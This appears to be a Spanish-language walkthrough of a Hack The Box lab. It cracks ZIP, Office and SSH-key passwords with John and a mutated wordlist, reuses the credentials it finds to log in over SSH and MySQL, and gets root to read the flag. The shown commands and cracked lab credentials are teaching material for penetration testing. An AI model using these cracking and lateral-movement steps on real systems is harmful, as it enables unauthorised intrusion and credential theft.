Nuestro próximo host es una estación de trabajo utilizada por un empleado para su trabajo diario.
Estos tipos de hosts se utilizan a menudo para intercambiar archivos con otros empleados y, por lo general, los administran administradores a través de la red. Durante una reunión con el cliente, se nos informó que muchos usuarios internos utilizan este host como host de salto. La atención se centra en asegurar y proteger los archivos que contienen información confidencial.
Objetivo
Examina el segundo objetivo y envía el contenido de flag.txt en /root/ como respuesta.
Encontramos la carpeta compartida SHAREDRIVE con permisos de lectura que nos interesa. Dentro vemos que hay un Docs.zip que pude contener información relevante, por lo que nos lo vamos a descargar con smbclient:
Vamos a utilizar nuestra lista de contraseñas mutadas con hashcat para aumentar la efectividad del crackeo con John:
afsh4ck@kali$ john --wordlist=mut_password.list zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Destiny2022! (Docs.zip/Documentation.docx)
Y bumm! Obtenemos la contraseña del zip. Vamos a descomprimirlo y ver su contenido:
afsh4ck@kali$ john --wordlist=mut_password.list doc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 ASIMD 4x / SHA512 128/128 ASIMD 2x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
987654321 (Documentation.docx)
Ya tenemos la contraseña del archivo! Ahora necesitamos libreoffice para abrirlo en Kali Linux:
Y obtenemos correctamente las credenciales del usuario root!
jason:C4mNKjAtL2dydsYa6 🏆
Root Login
sshjason@10.129.187.207Lastlogin:FriMar2513:02:382022from10.129.202.221jason@skills-medium:~$ whoami jason@skills-medium:~$ whoami
jason
Observamos que Jason no es el usuario root (aunque así se recoja en el documento), por lo que vamos a enumerar información dentro del host
jason@skills-medium:/$ cd home
jason@skills-medium:/home$ ls
dennis jason
Lo primero que observamos es que hay 2 usuarios en el sistema: dennis y jason. Enumerando un poco de información encontramos que en el directorio dennis hay un archivo .bash_history que posiblemente contenga información relevante sobre el usuario root, pero no podemos acceder:
Observamos que se utiliza una base de datos en el host, por lo que vamos a loguearnos con este usuario administrados para ver si encontramos información relevante:
jason@skills-medium:~$ mysql -u jason -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
No entry for terminal type "xterm-kitty";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || users |+--------------------+2rowsinset (0.01 sec)mysql>use users;Reading table information for completion of tableand column namesYou can turn off this feature toget a quicker startup with-ADatabase changedmysql> show tables;+-----------------+| Tables_in_users |+-----------------+| creds |+-----------------+1rowinset (0.00 sec)mysql>
Conseguimos cambiar al usuario dennis correctamente, y podemos ver el archivo .bash_history, que tal y como pensábamos nos indica la ruta de los id_rsa para conectarnos sin contraseña por SSH.
Vamos a transferir el id_rsa a nuestra máquina de atacante y intentar conectarnos:
afsh4ck@kali$ ls
id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
root@10.129.233.16: Permission denied (publickey).
afsh4ck@kali$ chmod 400 id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Nos pide un passphrase para el id_rsa, por lo que vamos a crackearlo con ssh2john
Cracking con ssh2john
afsh4ck@kali$ ssh2john id_rsa > ssh.hash
afsh4ck@kali$ ls
id_rsa mut_password.list ssh.hash
afsh4ck@kali$ john --wordlist=mut_password.list ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd12020! (id_rsa)
Con esto, obtenemos las credenciales para loguearnos por SSH como el usuario root y el id_rsa
Acceso Root - Final
Efectivamente, nos logueamos correctamente y conseguimos acceder a la flag 🏆
ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 22 Apr 2024 03:14:46 PM UTC
System load: 0.0 Processes: 187
Usage of /: 29.0% of 13.72GB Users logged in: 1
Memory usage: 31% IPv4 address for ens192: 10.129.233.16
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Mar 25 15:41:38 2022 from 10.129.202.106
root@skills-medium:~# whoami
root
root@skills-medium:~# ls
flag.txt snap
root@skills-medium:~# cat flag.txt
HTB{PeopleReuse_PWsEverywhere!}